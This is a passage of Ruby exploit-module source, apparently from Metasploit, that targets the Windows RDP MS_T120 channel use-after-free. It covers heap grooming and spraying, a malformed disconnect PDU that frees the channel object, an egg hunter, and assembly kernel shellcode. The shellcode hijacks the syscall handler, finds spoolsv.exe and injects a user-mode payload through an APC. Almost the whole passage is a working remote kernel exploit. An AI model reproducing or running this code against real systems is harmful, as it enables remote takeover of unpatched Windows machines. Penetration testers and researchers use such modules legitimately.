#{groom_size}MB, target address 0x#{pool_addr.to_s(16)}, Channel count #{groom_chan_count}.\")\r\n\r\n    target_channel_id = chan_id + 1\r\n\r\n    spray_buffer = create_exploit_channel_buffer(pool_addr)\r\n    spray_channel = rdp_create_channel_msg(self.rdp_user_id, target_channel_id, spray_buffer, 0, 0xFFFFFFF)\r\n    free_trigger = spray_channel * 20 + create_free_trigger(self.rdp_user_id, @mst120_chan_id) + spray_channel * 80\r\n\r\n    print_status(\"Surfing channels ...\")\r\n    rdp_send(spray_channel * 1024)\r\n    rdp_send(free_trigger)\r\n\r\n    chan_surf_size = 0x421\r\n    spray_packets = (chan_surf_size / spray_channel.length) + [1, chan_surf_size % spray_channel.length].min\r\n    chan_surf_packet = spray_channel * spray_packets\r\n    chan_surf_count  = chan_surf_size / spray_packets\r\n\r\n    chan_surf_count.times do\r\n      rdp_send(chan_surf_packet)\r\n    end\r\n\r\n    print_status(\"Lobbing eggs ...\")\r\n\r\n    groom_mb = groom_size * 1024 / payloads.length\r\n\r\n    groom_mb.times do\r\n      tpkts = ''\r\n      for c in 0..groom_chan_count\r\n        payloads.each do |p|\r\n          tpkts += rdp_create_channel_msg(self.rdp_user_id, target_channel_id + c, p, 0, 0xFFFFFFF)\r\n        end\r\n      end\r\n      rdp_send(tpkts)\r\n    end\r\n\r\n    # Terminating and disconnecting forces the USE\r\n    print_status(\"Forcing the USE of FREE'd object ...\")\r\n    rdp_terminate\r\n    rdp_disconnect\r\n  end\r\n\r\n  # Helper function to create the kernel mode payload and the usermode payload with\r\n  # the egg hunter prefix.\r\n  def create_payloads(pool_address)\r\n    begin\r\n      [kernel_mode_payload, user_mode_payload].map { |p|\r\n        [\r\n          pool_address + HEADER_SIZE + 0x10, # indirect call gadget, over this pointer + egg\r\n          p\r\n        ].pack('<Qa*').ljust(CHUNK_SIZE - HEADER_SIZE, \"\\x00\")\r\n      }\r\n    rescue => ex\r\n      print_error(\"#{ex.backtrace.join(\"\\n\")}: #{ex.message} (#{ex.class})\")\r\n    end\r\n  end\r\n\r\n  def assemble_with_fixups(asm)\r\n    # Rewrite all instructions of form 'lea reg, [rel label]' as relative\r\n    # offsets for the instruction pointer, since metasm's 'ModRM' parser does\r\n    # not grok that syntax.\r\n    lea_rel = /lea+\\s(?<dest>\\w{2,3}),*\\s\\[rel+\\s(?<label>[a-zA-Z_].*)\\]/\r\n    asm.gsub!(lea_rel) do |match|\r\n      match = \"lea #{$1}, [rip + #{$2}]\"\r\n    end\r\n\r\n    # metasm encodes all rep instructions as repnz\r\n    # https://github.com/jjyg/metasm/pull/40\r\n    asm.gsub!(/rep+\\smovsb/, 'db 0xf3, 0xa4')\r\n\r\n    encoded = Metasm::Shellcode.assemble(Metasm::X64.new, asm).encoded\r\n\r\n    # Fixup above rewritten instructions with the relative label offsets\r\n    encoded.reloc.each do |offset, reloc|\r\n      target = reloc.target.to_s\r\n      if encoded.export.key?(target)\r\n        # Note: this assumes the address we're fixing up is at the end of the\r\n        # instruction. This holds for 'lea' but if there are other fixups\r\n        # later, this might need to change to account for specific instruction\r\n        # encodings\r\n        if reloc.type == :i32\r\n          instr_offset = offset + 4\r\n        elsif reloc.type == :i16\r\n          instr_offset = offset + 2\r\n        end\r\n        encoded.fixup(target => encoded.export[target] - instr_offset)\r\n      else\r\n        raise \"Unknown symbol '#{target}' while resolving relative offsets\"\r\n      end\r\n    end\r\n    encoded.fill\r\n    encoded.data\r\n  end\r\n\r\n  # The user mode payload has two parts. The first is an egg hunter that searches for\r\n  # the kernel mode payload. The second part is the actual payload that's invoked in\r\n  # user land (ie. it's injected into spoolsrv.exe). We need to spray both the kernel\r\n  # and user mode payloads around the heap in different packets because we don't have\r\n  # enough space to put them both in the same chunk. Given that code exec can result in\r\n  # landing on the user land payload, the egg is used to go to a kernel payload.\r\n  def user_mode_payload\r\n\r\n    asm = %Q^\r\n_start:\r\n    lea rcx, [rel _start]\r\n    mov r8, 0x#{KERNELMODE_EGG.to_s(16)}\r\n_egg_loop:\r\n    sub rcx, 0x#{CHUNK_SIZE.to_s(16)}\r\n    sub rax, 0x#{CHUNK_SIZE.to_s(16)}\r\n    mov rdx, [rcx - 8]\r\n    cmp rdx, r8\r\n    jnz _egg_loop\r\n    jmp rcx\r\n    ^\r\n    egg_loop = assemble_with_fixups(asm)\r\n\r\n    # The USERMODE_EGG is required at the start as well, because the exploit code\r\n    # assumes the tag is there, and jumps over it to find the shellcode.\r\n    [\r\n      USERMODE_EGG,\r\n      egg_loop,\r\n      USERMODE_EGG,\r\n      payload.raw\r\n    ].pack('<Qa*<Qa*')\r\n  end\r\n\r\n  def kernel_mode_payload\r\n\r\n    # Windows x64 kernel shellcode from ring 0 to ring 3 by sleepya\r\n    #\r\n    # This shellcode was written originally for eternalblue exploits\r\n    # eternalblue_exploit7.py and eternalblue_exploit8.py\r\n    #\r\n    # Idea for Ring 0 to Ring 3 via APC from Sean Dillon (@zerosum0x0)\r\n    #\r\n    # Note:\r\n    # - The userland shellcode is run in a new thread of system process.\r\n    #     If userland shellcode causes any exception, the system process get killed.\r\n    # - On idle target with multiple core processors, the hijacked system call\r\n    #     might take a while (> 5 minutes) to get called because the system\r\n    #     call may be called on other processors.\r\n    # - The shellcode does not allocate shadow stack if possible for minimal shellcode size.\r\n    #     This is ok because some Windows functions do not require a shadow stack.\r\n    # - Compiling shellcode with specific Windows version macro, corrupted buffer will be freed.\r\n    #     Note: the Windows 8 version macros are removed below\r\n    # - The userland payload MUST be appened to this shellcode.\r\n    #\r\n    # References:\r\n    # - http://www.geoffchappell.com/studies/windows/km/index.htm (structures info)\r\n    # - https://github.com/reactos/reactos/blob/master/reactos/ntoskrnl/ke/apc.c\r\n\r\n    data_kapc_offset           = 0x10\r\n    data_nt_kernel_addr_offset = 0x8\r\n    data_origin_syscall_offset = 0\r\n    data_peb_addr_offset       = -0x10\r\n    data_queueing_kapc_offset  = -0x8\r\n    hal_heap_storage           = 0xffffffffffd04100\r\n\r\n    # These hashes are not the same as the ones used by the\r\n    # Block API so they have to be hard-coded.\r\n    createthread_hash              = 0x835e515e\r\n    keinitializeapc_hash           = 0x6d195cc4\r\n    keinsertqueueapc_hash          = 0xafcc4634\r\n    psgetcurrentprocess_hash       = 0xdbf47c78\r\n    psgetprocessid_hash            = 0x170114e1\r\n    psgetprocessimagefilename_hash = 0x77645f3f\r\n    psgetprocesspeb_hash           = 0xb818b848\r\n    psgetthreadteb_hash            = 0xcef84c3e\r\n    spoolsv_exe_hash               = 0x3ee083d8\r\n    zwallocatevirtualmemory_hash   = 0x576e99ea\r\n\r\n    asm = %Q^\r\nshellcode_start:\r\n    nop\r\n    nop\r\n    nop\r\n    nop\r\n    ; IRQL is DISPATCH_LEVEL when got code execution\r\n\r\n    push rbp\r\n\r\n    call set_rbp_data_address_fn\r\n\r\n    ; read current syscall\r\n    mov ecx, 0xc0000082\r\n    rdmsr\r\n    ; do NOT replace saved original syscall address with hook syscall\r\n    lea r9, [rel syscall_hook]\r\n    cmp eax, r9d\r\n    je _setup_syscall_hook_done\r\n\r\n    ; if (saved_original_syscall != &KiSystemCall64) do_first_time_initialize\r\n    cmp dword [rbp+#{data_origin_syscall_offset}], eax\r\n    je _hook_syscall\r\n\r\n    ; save original syscall\r\n    mov dword [rbp+#{data_origin_syscall_offset}+4], edx\r\n    mov dword [rbp+#{data_origin_syscall_offset}], eax\r\n\r\n    ; first time on the target\r\n    mov byte [rbp+#{data_queueing_kapc_offset}], 0\r\n\r\n_hook_syscall:\r\n    ; set a new syscall on running processor\r\n    ; setting MSR 0xc0000082 affects only running processor\r\n    xchg r9, rax\r\n    push rax\r\n    pop rdx     ; mov rdx, rax\r\n    shr rdx, 32\r\n    wrmsr\r\n\r\n_setup_syscall_hook_done:\r\n    pop rbp\r\n\r\n;--------------------- HACK crappy thread cleanup --------------------\r\n; This code is effectively the same as the epilogue of the function that calls\r\n; the vulnerable function in the kernel, with a tweak or two.\r\n\r\n    ; TODO: make the lock not suck!!\r\n    mov     rax, qword [gs:0x188]\r\n    add     word [rax+0x1C4], 1       ; KeGetCurrentThread()->KernelApcDisable++\r\n    lea     r11, [rsp+0b8h]\r\n    xor     eax, eax\r\n    mov     rbx, [r11+30h]\r\n    mov     rbp, [r11+40h]\r\n    mov     rsi, [r11+48h]\r\n    mov     rsp, r11\r\n    pop     r15\r\n    pop     r14\r\n    pop     r13\r\n    pop     r12\r\n    pop     rdi\r\n    ret\r\n\r\n;--------------------- END HACK crappy thread cleanup\r\n\r\n;========================================================================\r\n; Find memory address in HAL heap for using as data area\r\n; Return: rbp = data address\r\n;========================================================================\r\nset_rbp_data_address_fn:\r\n    ; On idle target without user application, syscall on hijacked processor might not be called immediately.\r\n    ; Find some address to store the data, the data in this address MUST not be modified\r\n    ;   when exploit is rerun before syscall is called\r\n    ;lea rbp, [rel _set_rbp_data_address_fn_next + 0x1000]\r\n\r\n    ; ------ HACK rbp wasnt valid!\r\n\r\n    mov rbp, #{hal_heap_storage}    ; TODO: use some other buffer besides HAL heap??\r\n\r\n    ; --------- HACK end rbp\r\n\r\n_set_rbp_data_address_fn_next:\r\n    ;shr rbp, 12\r\n    ;shl rbp, 12\r\n    ;sub rbp, 0x70   ; for KAPC struct too\r\n    ret\r\n\r\n    ;int 3\r\n    ;call $+5\r\n    ;pop r13\r\nsyscall_hook:\r\n    swapgs\r\n    mov qword [gs:0x10], rsp\r\n    mov rsp, qword [gs:0x1a8]\r\n    push 0x2b\r\n    push qword [gs:0x10]\r\n\r\n    push rax    ; want this stack space to store original syscall addr\r\n    ; save rax first to make this function continue to real syscall\r\n    push rax\r\n    push rbp    ; save rbp here because rbp is special register for accessing this shellcode data\r\n    call set_rbp_data_address_fn\r\n    mov rax, [rbp+#{data_origin_syscall_offset}]\r\n    add rax, 0x1f   ; adjust syscall entry, so we do not need to reverse start of syscall handler\r\n    mov [rsp+0x10], rax\r\n\r\n    ; save all volatile registers\r\n    push rcx\r\n    push rdx\r\n    push r8\r\n    push r9\r\n    push r10\r\n    push r11\r\n\r\n    ; use lock cmpxchg for queueing APC only one at a time\r\n    xor eax, eax\r\n    mov dl, 1\r\n    lock cmpxchg byte [rbp+#{data_queueing_kapc_offset}], dl\r\n    jnz _syscall_hook_done\r\n\r\n    ;======================================\r\n    ; restore syscall\r\n    ;======================================\r\n    ; an error after restoring syscall should never occur\r\n    mov ecx, 0xc0000082\r\n    mov eax, [rbp+#{data_origin_syscall_offset}]\r\n    mov edx, [rbp+#{data_origin_syscall_offset}+4]\r\n    wrmsr\r\n\r\n    ; allow interrupts while executing shellcode\r\n    sti\r\n    call r3_to_r0_start\r\n    cli\r\n\r\n_syscall_hook_done:\r\n    pop r11\r\n    pop r10\r\n    pop r9\r\n    pop r8\r\n    pop rdx\r\n    pop rcx\r\n    pop rbp\r\n    pop rax\r\n    ret\r\n\r\nr3_to_r0_start:\r\n    ; save used non-volatile registers\r\n    push r15\r\n    push r14\r\n    push rdi\r\n    push rsi\r\n    push rbx\r\n    push rax    ; align stack by 0x10\r\n\r\n    ;======================================\r\n    ; find nt kernel address\r\n    ;======================================\r\n    mov r15, qword [rbp+#{data_origin_syscall_offset}]      ; KiSystemCall64 is an address in nt kernel\r\n    shr r15, 0xc                ; strip to page size\r\n    shl r15, 0xc\r\n\r\n_x64_find_nt_walk_page:\r\n    sub r15, 0x1000             ; walk along page size\r\n    cmp word [r15], 0x5a4d      ; 'MZ' header\r\n    jne _x64_find_nt_walk_page\r\n\r\n    ; save nt address for using in KernelApcRoutine\r\n    mov [rbp+#{data_nt_kernel_addr_offset}], r15\r\n\r\n    ;======================================\r\n    ; get current EPROCESS and ETHREAD\r\n    ;======================================\r\n    mov r14, qword [gs:0x188]    ; get _ETHREAD pointer from KPCR\r\n    mov edi, #{psgetcurrentprocess_hash}\r\n    call win_api_direct\r\n    xchg rcx, rax       ; rcx = EPROCESS\r\n\r\n    ; r15 : nt kernel address\r\n    ; r14 : ETHREAD\r\n    ; rcx : EPROCESS\r\n\r\n    ;======================================\r\n    ; find offset of EPROCESS.ImageFilename\r\n    ;======================================\r\n    mov edi, #{psgetprocessimagefilename_hash}\r\n    call get_proc_addr\r\n    mov eax, dword [rax+3]  ; get offset from code (offset of ImageFilename is always > 0x7f)\r\n    mov ebx, eax        ; ebx = offset of EPROCESS.ImageFilename\r\n\r\n\r\n    ;======================================\r\n    ; find offset of EPROCESS.ThreadListHead\r\n    ;======================================\r\n    ; possible diff from ImageFilename offset is 0x28 and 0x38 (Win8+)\r\n    ; if offset of ImageFilename is more than 0x400, current is (Win8+)\r\n\r\n    cmp eax, 0x400      ; eax is still an offset of EPROCESS.ImageFilename\r\n    jb _find_eprocess_threadlist_offset_win7\r\n    add eax, 0x10\r\n_find_eprocess_threadlist_offset_win7:\r\n    lea rdx, [rax+0x28] ; edx = offset of EPROCESS.ThreadListHead\r\n\r\n    ;======================================\r\n    ; find offset of ETHREAD.ThreadListEntry\r\n    ;======================================\r\n\r\n    lea r8, [rcx+rdx]   ; r8 = address of EPROCESS.ThreadListHead\r\n    mov r9, r8\r\n\r\n    ; ETHREAD.ThreadListEntry must be between ETHREAD (r14) and ETHREAD+0x700\r\n_find_ethread_threadlist_offset_loop:\r\n    mov r9, qword [r9]\r\n\r\n    cmp r8, r9          ; check end of list\r\n    je _insert_queue_apc_done    ; not found !!!\r\n\r\n    ; if (r9 - r14 < 0x700) found\r\n    mov rax, r9\r\n    sub rax, r14\r\n    cmp rax, 0x700\r\n    ja _find_ethread_threadlist_offset_loop\r\n    sub r14, r9         ; r14 = -(offset of ETHREAD.ThreadListEntry)\r\n\r\n\r\n    ;======================================\r\n    ; find offset of EPROCESS.ActiveProcessLinks\r\n    ;======================================\r\n    mov edi, #{psgetprocessid_hash}\r\n    call get_proc_addr\r\n    mov edi, dword [rax+3]  ; get offset from code (offset of UniqueProcessId is always > 0x7f)\r\n    add edi, 8      ; edi = offset of EPROCESS.ActiveProcessLinks = offset of EPROCESS.UniqueProcessId + sizeof(EPROCESS.UniqueProcessId)\r\n\r\n\r\n    ;======================================\r\n    ; find target process by iterating over EPROCESS.ActiveProcessLinks WITHOUT lock\r\n    ;======================================\r\n    ; check process name\r\n\r\n\r\n    xor eax, eax      ; HACK to exit earlier if process not found\r\n\r\n_find_target_process_loop:\r\n    lea rsi, [rcx+rbx]\r\n\r\n    push rax\r\n    call calc_hash\r\n    cmp eax, #{spoolsv_exe_hash}  ; \"spoolsv.exe\"\r\n    pop rax\r\n    jz found_target_process\r\n\r\n;---------- HACK PROCESS NOT FOUND start -----------\r\n    inc rax\r\n    cmp rax, 0x300      ; HACK not found!\r\n    jne _next_find_target_process\r\n    xor ecx, ecx\r\n    ; clear queueing kapc flag, allow other hijacked system call to run shellcode\r\n    mov byte [rbp+#{data_queueing_kapc_offset}], cl\r\n\r\n    jmp _r3_to_r0_done\r\n\r\n;---------- HACK PROCESS NOT FOUND end -----------\r\n\r\n_next_find_target_process:\r\n    ; next process\r\n    mov rcx, [rcx+rdi]\r\n    sub rcx, rdi\r\n    jmp _find_target_process_loop\r\n\r\n\r\nfound_target_process:\r\n    ; The allocation for userland payload will be in KernelApcRoutine.\r\n    ; KernelApcRoutine is run in a target process context. So no need to use KeStackAttachProcess()\r\n\r\n    ;======================================\r\n    ; save process PEB for finding CreateThread address in kernel KAPC routine\r\n    ;======================================\r\n    mov edi, #{psgetprocesspeb_hash}\r\n    ; rcx is EPROCESS. no need to set it.\r\n    call win_api_direct\r\n    mov [rbp+#{data_peb_addr_offset}], rax\r\n\r\n\r\n    ;======================================\r\n    ; iterate ThreadList until KeInsertQueueApc() success\r\n    ;======================================\r\n    ; r15 = nt\r\n    ; r14 = -(offset of ETHREAD.ThreadListEntry)\r\n    ; rcx = EPROCESS\r\n    ; edx = offset of EPROCESS.ThreadListHead\r\n\r\n\r\n    lea rsi, [rcx + rdx]    ; rsi = ThreadListHead address\r\n    mov rbx, rsi    ; use rbx for iterating thread\r\n\r\n    ; checking alertable from ETHREAD structure is not reliable because each Windows version has different offset.\r\n    ; Moreover, alertable thread need to be waiting state which is more difficult to check.\r\n    ; try queueing APC then check KAPC member is more reliable.\r\n\r\n_insert_queue_apc_loop:\r\n    ; move backward because non-alertable and NULL TEB.ActivationContextStackPointer threads always be at front\r\n    mov rbx, [rbx+8]\r\n\r\n    cmp rsi, rbx\r\n    je _insert_queue_apc_loop   ; skip list head\r\n\r\n    ; find start of ETHREAD address\r\n    ; set it to rdx to be used for KeInitializeApc() argument too\r\n    lea rdx, [rbx + r14]    ; ETHREAD\r\n\r\n    ; userland shellcode (at least CreateThread() function) need non NULL TEB.ActivationContextStackPointer.\r\n    ; the injected process will be crashed because of access violation if TEB.ActivationContextStackPointer is NULL.\r\n    ; Note: APC routine does not require non-NULL TEB.ActivationContextStackPointer.\r\n    ; from my observation, KTRHEAD.Queue is always NULL when TEB.ActivationContextStackPointer is NULL.\r\n    ; Teb member is next to Queue member.\r\n    mov edi, #{psgetthreadteb_hash}\r\n    call get_proc_addr\r\n    mov eax, dword [rax+3]      ; get offset from code (offset of Teb is always > 0x7f)\r\n    cmp qword [rdx+rax-8], 0    ; KTHREAD.Queue MUST not be NULL\r\n    je _insert_queue_apc_loop\r\n\r\n    ; KeInitializeApc(PKAPC,\r\n    ;                 PKTHREAD,\r\n    ;                 KAPC_ENVIRONMENT = OriginalApcEnvironment (0),\r\n    ;                 PKKERNEL_ROUTINE = kernel_apc_routine,\r\n    ;                 PKRUNDOWN_ROUTINE = NULL,\r\n    ;                 PKNORMAL_ROUTINE = userland_shellcode,\r\n    ;                 KPROCESSOR_MODE = UserMode (1),\r\n    ;                 PVOID Context);\r\n    lea rcx, [rbp+#{data_kapc_offset}]     ; PAKC\r\n    xor r8, r8      ; OriginalApcEnvironment\r\n    lea r9, [rel kernel_kapc_routine]    ; KernelApcRoutine\r\n    push rbp    ; context\r\n    push 1      ; UserMode\r\n    push rbp    ; userland shellcode (MUST NOT be NULL)\r\n    push r8     ; NULL\r\n    sub rsp, 0x20   ; shadow stack\r\n    mov edi, #{keinitializeapc_hash}\r\n    call win_api_direct\r\n    ; Note: KeInsertQueueApc() requires shadow stack. Adjust stack back later\r\n\r\n    ; BOOLEAN KeInsertQueueApc(PKAPC, SystemArgument1, SystemArgument2, 0);\r\n    ;   SystemArgument1 is second argument in usermode code (rdx)\r\n    ;   SystemArgument2 is third argument in usermode code (r8)\r\n    lea rcx, [rbp+#{data_kapc_offset}]\r\n    ;xor edx, edx   ; no need to set it here\r\n    ;xor r8, r8     ; no need to set it here\r\n    xor r9, r9\r\n    mov edi, #{keinsertqueueapc_hash}\r\n    call win_api_direct\r\n    add rsp, 0x40\r\n    ; if insertion failed, try next thread\r\n    test eax, eax\r\n    jz _insert_queue_apc_loop\r\n\r\n    mov rax, [rbp+#{data_kapc_offset}+0x10]     ; get KAPC.ApcListEntry\r\n    ; EPROCESS pointer 8 bytes\r\n    ; InProgressFlags 1 byte\r\n    ; KernelApcPending 1 byte\r\n    ; if success, UserApcPending MUST be 1\r\n    cmp byte [rax+0x1a], 1\r\n    je _insert_queue_apc_done\r\n\r\n    ; manual remove list without lock\r\n    mov [rax], rax\r\n    mov [rax+8], rax\r\n    jmp _insert_queue_apc_loop\r\n\r\n_insert_queue_apc_done:\r\n    ; The PEB address is needed in kernel_apc_routine. Setting QUEUEING_KAPC to 0 should be in kernel_apc_routine.\r\n\r\n_r3_to_r0_done:\r\n    pop rax\r\n    pop rbx\r\n    pop rsi\r\n    pop rdi\r\n    pop r14\r\n    pop r15\r\n    ret\r\n\r\n;========================================================================\r\n; Call function in specific module\r\n;\r\n; All function arguments are passed as calling normal function with extra register arguments\r\n; Extra Arguments: r15 = module pointer\r\n;                  edi = hash of target function name\r\n;========================================================================\r\nwin_api_direct:\r\n    call get_proc_addr\r\n    jmp rax\r\n\r\n\r\n;========================================================================\r\n; Get function address in specific module\r\n;\r\n; Arguments: r15 = module pointer\r\n;            edi = hash of target function name\r\n; Return: eax = offset\r\n;========================================================================\r\nget_proc_addr:\r\n    ; Save registers\r\n    push rbx\r\n    push rcx\r\n    push rsi                ; for using calc_hash\r\n\r\n    ; use rax to find EAT\r\n    mov eax, dword [r15+60]  ; Get PE header e_lfanew\r\n    mov eax, dword [r15+rax+136] ; Get export tables RVA\r\n\r\n    add rax, r15\r\n    push rax                 ; save EAT\r\n\r\n    mov ecx, dword [rax+24]  ; NumberOfFunctions\r\n    mov ebx, dword [rax+32]  ; FunctionNames\r\n    add rbx, r15\r\n\r\n_get_proc_addr_get_next_func:\r\n    ; When we reach the start of the EAT (we search backwards), we hang or crash\r\n    dec ecx                     ; decrement NumberOfFunctions\r\n    mov esi, dword [rbx+rcx*4]  ; Get rva of next module name\r\n    add rsi, r15                ; Add the modules base address\r\n\r\n    call calc_hash\r\n\r\n    cmp eax, edi                        ; Compare the hashes\r\n    jnz _get_proc_addr_get_next_func    ; try the next function\r\n\r\n_get_proc_addr_finish:\r\n    pop rax                     ; restore EAT\r\n    mov ebx, dword [rax+36]\r\n    add rbx, r15                ; ordinate table virtual address\r\n    mov cx, word [rbx+rcx*2]    ; desired functions ordinal\r\n    mov ebx, dword [rax+28]     ; Get the function addresses table rva\r\n    add rbx, r15                ; Add the modules base address\r\n    mov eax, dword [rbx+rcx*4]  ; Get the desired functions RVA\r\n    add rax, r15                ; Add the modules base address to get the functions actual VA\r\n\r\n    pop rsi\r\n    pop rcx\r\n    pop rbx\r\n    ret\r\n\r\n;========================================================================\r\n; Calculate ASCII string hash. Useful for comparing ASCII string in shellcode.\r\n;\r\n; Argument: rsi = string to hash\r\n; Clobber: rsi\r\n; Return: eax = hash\r\n;========================================================================\r\ncalc_hash:\r\n    push rdx\r\n    xor eax, eax\r\n    cdq\r\n_calc_hash_loop:\r\n    lodsb                   ; Read in the next byte of the ASCII string\r\n    ror edx, 13             ; Rotate right our hash value\r\n    add edx, eax            ; Add the next byte of the string\r\n    test eax, eax           ; Stop when found NULL\r\n    jne _calc_hash_loop\r\n    xchg edx, eax\r\n    pop rdx\r\n    ret\r\n\r\n\r\n; KernelApcRoutine is called when IRQL is APC_LEVEL in (queued) Process context.\r\n; But the IRQL is simply raised from PASSIVE_LEVEL in KiCheckForKernelApcDelivery().\r\n; Moreover, there is no lock when calling KernelApcRoutine.\r\n; So KernelApcRoutine can simply lower the IRQL by setting cr8 register.\r\n;\r\n; VOID KernelApcRoutine(\r\n;           IN PKAPC Apc,\r\n;           IN PKNORMAL_ROUTINE *NormalRoutine,\r\n;           IN PVOID *NormalContext,\r\n;           IN PVOID *SystemArgument1,\r\n;           IN PVOID *SystemArgument2)\r\nkernel_kapc_routine:\r\n    push rbp\r\n    push rbx\r\n    push rdi\r\n    push rsi\r\n    push r15\r\n\r\n    mov rbp, [r8]       ; *NormalContext is our data area pointer\r\n\r\n    mov r15, [rbp+#{data_nt_kernel_addr_offset}]\r\n    push rdx\r\n    pop rsi     ; mov rsi, rdx\r\n    mov rbx, r9\r\n\r\n    ;======================================\r\n    ; ZwAllocateVirtualMemory(-1, &baseAddr, 0, &0x1000, 0x1000, 0x40)\r\n    ;======================================\r\n    xor eax, eax\r\n    mov cr8, rax    ; set IRQL to PASSIVE_LEVEL (ZwAllocateVirtualMemory() requires)\r\n    ; rdx is already address of baseAddr\r\n    mov [rdx], rax      ; baseAddr = 0\r\n    mov ecx, eax\r\n    not rcx             ; ProcessHandle = -1\r\n    mov r8, rax         ; ZeroBits\r\n    mov al, 0x40    ; eax = 0x40\r\n    push rax            ; PAGE_EXECUTE_READWRITE = 0x40\r\n    shl eax, 6      ; eax = 0x40 << 6 = 0x1000\r\n    push rax            ; MEM_COMMIT = 0x1000\r\n    ; reuse r9 for address of RegionSize\r\n    mov [r9], rax       ; RegionSize = 0x1000\r\n    sub rsp, 0x20   ; shadow stack\r\n    mov edi, #{zwallocatevirtualmemory_hash}\r\n    call win_api_direct\r\n    add rsp, 0x30\r\n\r\n    ; check error\r\n    test eax, eax\r\n    jnz _kernel_kapc_routine_exit\r\n\r\n    ;======================================\r\n    ; copy userland payload\r\n    ;======================================\r\n    mov rdi, [rsi]\r\n\r\n;--------------------------- HACK IN EGG USER ---------\r\n\r\n    push rdi\r\n\r\n    lea rsi, [rel shellcode_start]\r\n    mov rdi, 0x#{USERMODE_EGG.to_s(16)}\r\n\r\n  _find_user_egg_loop:\r\n      sub rsi, 0x#{CHUNK_SIZE.to_s(16)}\r\n      mov rax, [rsi - 8]\r\n      cmp rax, rdi\r\n      jnz _find_user_egg_loop\r\n\r\n  _inner_find_user_egg_loop:\r\n      inc rsi\r\n      mov rax, [rsi - 8]\r\n      cmp rax, rdi\r\n      jnz _inner_find_user_egg_loop\r\n\r\n    pop rdi\r\n;--------------------------- END HACK EGG USER ------------\r\n\r\n    mov ecx, 0x380  ; fix payload size to 0x380 bytes\r\n\r\n    rep movsb\r\n\r\n    ;======================================\r\n    ; find CreateThread address (in kernel32.dll)\r\n    ;======================================\r\n    mov rax, [rbp+#{data_peb_addr_offset}]\r\n    mov rax, [rax + 0x18]       ; PEB->Ldr\r\n    mov rax, [rax + 0x20]       ; InMemoryOrder list\r\n\r\n    ;lea rsi, [rcx + rdx]    ; rsi = ThreadListHead address\r\n    ;mov rbx, rsi    ; use rbx for iterating thread\r\n_find_kernel32_dll_loop:\r\n    mov rax, [rax]       ; first one always be executable\r\n    ; offset 0x38 (WORD)  => must be 0x40 (full name len c:\\windows\\system32\\kernel32.dll)\r\n    ; offset 0x48 (WORD)  => must be 0x18 (name len kernel32.dll)\r\n    ; offset 0x50  => is name\r\n    ; offset 0x20  => is dllbase\r\n    ;cmp word [rax+0x38], 0x40\r\n    ;jne _find_kernel32_dll_loop\r\n    cmp word [rax+0x48], 0x18\r\n    jne _find_kernel32_dll_loop\r\n\r\n    mov rdx, [rax+0x50]\r\n    ; check only \"32\" because name might be lowercase or uppercase\r\n    cmp dword [rdx+0xc], 0x00320033   ; 3\\x002\\x00\r\n    jnz _find_kernel32_dll_loop\r\n\r\n    ;int3\r\n    mov r15, [rax+0x20]\r\n    mov edi, #{createthread_hash}\r\n    call get_proc_addr\r\n\r\n    ; save CreateThread address to SystemArgument1\r\n    mov [rbx], rax\r\n\r\n_kernel_kapc_routine_exit:\r\n    xor ecx, ecx\r\n    ; clear queueing kapc flag, allow other hijacked system call to run shellcode\r\n    mov byte [rbp+#{data_queueing_kapc_offset}], cl\r\n    ; restore IRQL to APC_LEVEL\r\n    mov cl, 1\r\n    mov cr8, rcx\r\n\r\n    pop r15\r\n    pop rsi\r\n    pop rdi\r\n    pop rbx\r\n    pop rbp\r\n    ret\r\n\r\nuserland_start_thread:\r\n    ; CreateThread(NULL, 0, &threadstart, NULL, 0, NULL)\r\n    xchg rdx, rax   ; rdx is CreateThread address passed from kernel\r\n    xor ecx, ecx    ; lpThreadAttributes = NULL\r\n    push rcx        ; lpThreadId = NULL\r\n    push rcx        ; dwCreationFlags = 0\r\n    mov r9, rcx     ; lpParameter = NULL\r\n    lea r8, [rel userland_payload]  ; lpStartAddr\r\n    mov edx, ecx    ; dwStackSize = 0\r\n    sub rsp, 0x20\r\n    call rax\r\n    add rsp, 0x30\r\n    ret\r\n\r\nuserland_payload:\r\n    ^\r\n\r\n    [\r\n      KERNELMODE_EGG,\r\n      assemble_with_fixups(asm)\r\n    ].pack('<Qa*')\r\n  end\r\n\r\n  def create_free_trigger(chan_user_id, chan_id)\r\n    # malformed Disconnect Provider Indication PDU (opcode: 0x2, total_size != 0x20)\r\n    vprint_status(\"Creating free trigger for user #{chan_user_id} on channel #{chan_id}\")\r\n    # The extra bytes on the end of the body is what causes the bad things to happen\r\n    body = \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\" + \"\\x00\" * 22\r\n    rdp_create_channel_msg(chan_user_id, chan_id, body, 3, 0xFFFFFFF)\r\n  end\r\n\r\n  def create_exploit_channel_buffer(target_addr)\r\n    overspray_addr = target_addr + 0x2000\r\n    shellcode_vtbl = target_addr + HEADER_SIZE\r\n    magic_value1 = overspray_addr + 0x810\r\n    magic_value2 = overspray_addr + 0x48\r\n    magic_value3 = overspray_addr + CHUNK_SIZE + HEADER_SIZE\r\n\r\n    # first 0x38 bytes are used by DATA PDU packet\r\n    # exploit channel starts at +0x38, which is +0x20 of an _ERESOURCE\r\n    # http://www.tssc.de/winint/Win10_17134_ntoskrnl/_ERESOURCE.htm\r\n    [\r\n      [\r\n        # SystemResourceList (2 pointers, each 8 bytes)\r\n        # Pointer to OWNER_ENTRY (8 bytes)\r\n        # ActiveCount (SHORT, 2 bytes)\r\n        # Flag (WORD, 2 bytes)\r\n        # Padding (BYTE[4], 4 bytes) x64 only\r\n        0x0, # SharedWaters (Pointer to KSEMAPHORE, 8 bytes)\r\n        0x0, # ExclusiveWaiters (Pointer to KSEVENT, 8 bytes)\r\n        magic_value2, # OwnerThread (ULONG, 8 bytes)\r\n        magic_value2, # TableSize (ULONG, 8 bytes)\r\n        0x0, # ActiveEntries (DWORD, 4 bytes)\r\n        0x0, # ContenttionCount (DWORD, 4 bytes)\r\n        0x0, # NumberOfSharedWaiters (DWORD, 4 bytes)\r\n        0x0, # NumberOfExclusiveWaiters (DWORD, 4 bytes)\r\n        0x0, # Reserved2 (PVOID, 8 bytes) x64 only\r\n        magic_value2, # Address (PVOID, 8 bytes)\r\n        0x0, # SpinLock (UINT_PTR, 8 bytes)\r\n      ].pack('<Q<Q<Q<Q<L<L<L<L<Q<Q<Q'),\r\n      [\r\n        magic_value2, # SystemResourceList (2 pointers, each 8 bytes)\r\n        magic_value2, # --------------------\r\n        0x0, # Pointer to OWNER_ENTRY (8 bytes)\r\n        0x0, # 